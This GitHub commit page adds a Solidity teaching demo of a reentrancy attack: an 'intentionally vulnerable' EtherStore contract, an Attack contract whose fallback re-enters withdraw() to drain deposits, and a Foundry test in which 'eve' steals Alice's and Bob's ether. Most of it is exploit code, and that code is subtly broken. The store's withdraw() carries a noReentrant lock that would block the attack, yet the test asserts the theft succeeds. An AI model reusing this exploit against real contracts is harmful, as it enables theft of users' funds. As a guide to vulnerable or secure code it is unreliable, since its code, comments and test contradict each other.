-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
ed46ab2
commit 5d4d5de
Showing
6 changed files
with
148 additions
and
57 deletions.
There are no files selected for viewing
This file was deleted.
Oops, something went wrong.
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,40 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.26; | ||
|
||
import "./EtherStore.sol"; | ||
|
||
/// @title Attack Contract for EtherStore | ||
/// @author Ishan Lakhwani | ||
/// @notice This contract demonstrates how to exploit the reentrancy vulnerability | ||
/// @dev This is for educational purposes only | ||
|
||
contract Attack { | ||
EtherStore public etherStore; | ||
uint256 public constant AMOUNT = 1 ether; | ||
|
||
constructor(address _etherStoreAddress) { | ||
etherStore = EtherStore(_etherStoreAddress); | ||
} | ||
|
||
// Fallback is called when EtherStore sends Ether to this contract. | ||
fallback() external payable { | ||
if (address(etherStore).balance >= AMOUNT) { | ||
etherStore.withdraw(); | ||
} | ||
} | ||
|
||
function attack() external payable { | ||
require(msg.value >= AMOUNT); | ||
etherStore.deposit{value: AMOUNT}(); | ||
etherStore.withdraw(); | ||
} | ||
|
||
function withdrawStolen() external { | ||
(bool success,) = payable(msg.sender).call{value: address(this).balance}(""); | ||
require(success, "Failed to withdraw"); | ||
} | ||
|
||
function getBalance() public view returns (uint256) { | ||
return address(this).balance; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,42 @@ | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.26; | ||
|
||
/// @title EtherStore - A vulnerable contract | ||
/// @author Ishan Lakhwani | ||
/// @notice This contract demonstrates a reentrancy vulnerability | ||
/// @dev This contract is intentionally vulnerable for educational purposes | ||
|
||
contract EtherStore { | ||
mapping(address => uint256) public balances; | ||
bool internal locked; | ||
|
||
event Deposit(address indexed user, uint256 amount); | ||
event Withdrawal(address indexed user, uint256 amount); | ||
|
||
modifier noReentrant() { | ||
require(!locked, "No re-entrancy"); | ||
locked = true; | ||
_; | ||
locked = false; | ||
} | ||
|
||
function deposit() public payable { | ||
balances[msg.sender] += msg.value; | ||
emit Deposit(msg.sender, msg.value); | ||
} | ||
|
||
function withdraw() public noReentrant { | ||
uint256 bal = balances[msg.sender]; | ||
require(bal > 0); | ||
|
||
(bool sent,) = msg.sender.call{value: bal}(""); | ||
require(sent, "Failed to send Ether"); | ||
|
||
balances[msg.sender] = 0; | ||
emit Withdrawal(msg.sender, bal); | ||
} | ||
|
||
function getBalance() public view returns (uint256) { | ||
return address(this).balance; | ||
} | ||
} |
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,66 @@ | ||
// test/ReentrancyTest.t.sol | ||
// SPDX-License-Identifier: MIT | ||
pragma solidity ^0.8.26; | ||
|
||
import "forge-std/Test.sol"; | ||
import "../src/reentrancy/EtherStore.sol"; | ||
import "../src/reentrancy/Attack.sol"; | ||
|
||
contract ReentrancyTest is Test { | ||
EtherStore public etherStore; | ||
Attack public attack; | ||
|
||
address public alice; | ||
address public bob; | ||
address public eve; | ||
|
||
function setUp() public { | ||
// Setup accounts | ||
alice = makeAddr("alice"); | ||
bob = makeAddr("bob"); | ||
eve = makeAddr("eve"); | ||
|
||
// Deploy contracts | ||
etherStore = new EtherStore(); | ||
attack = new Attack(address(etherStore)); | ||
|
||
// Fund accounts | ||
vm.deal(alice, 1 ether); | ||
vm.deal(bob, 1 ether); | ||
vm.deal(eve, 1 ether); | ||
|
||
// Alice and Bob deposit 1 ether each | ||
vm.prank(alice); | ||
etherStore.deposit{value: 1 ether}(); | ||
|
||
vm.prank(bob); | ||
etherStore.deposit{value: 1 ether}(); | ||
} | ||
|
||
function testReentrancyAttack() public { | ||
// Initial state | ||
console.log("--- Initial State ---"); | ||
console.log("EtherStore balance:", etherStore.getBalance() / 1e18, "ETH"); | ||
console.log("Attacker balance:", attack.getBalance() / 1e18, "ETH"); | ||
console.log("Eve balance:", eve.balance / 1e18, "ETH"); | ||
|
||
// Eve performs the attack | ||
vm.prank(eve); | ||
attack.attack{value: 1 ether}(); | ||
|
||
vm.prank(eve); | ||
attack.withdrawStolen(); | ||
|
||
// Final state | ||
console.log("\n--- Final State ---"); | ||
console.log("EtherStore balance:", etherStore.getBalance() / 1e18, "ETH"); | ||
console.log("Attacker balance:", attack.getBalance() / 1e18, "ETH"); | ||
console.log("Eve balance:", eve.balance / 1e18, "ETH"); | ||
|
||
// Assertions | ||
assertEq(etherStore.getBalance(), 0, "EtherStore should be empty"); | ||
assertGt(eve.balance, 2 ether, "Eve should have stolen the funds"); | ||
} | ||
|
||
receive() external payable {} | ||
} |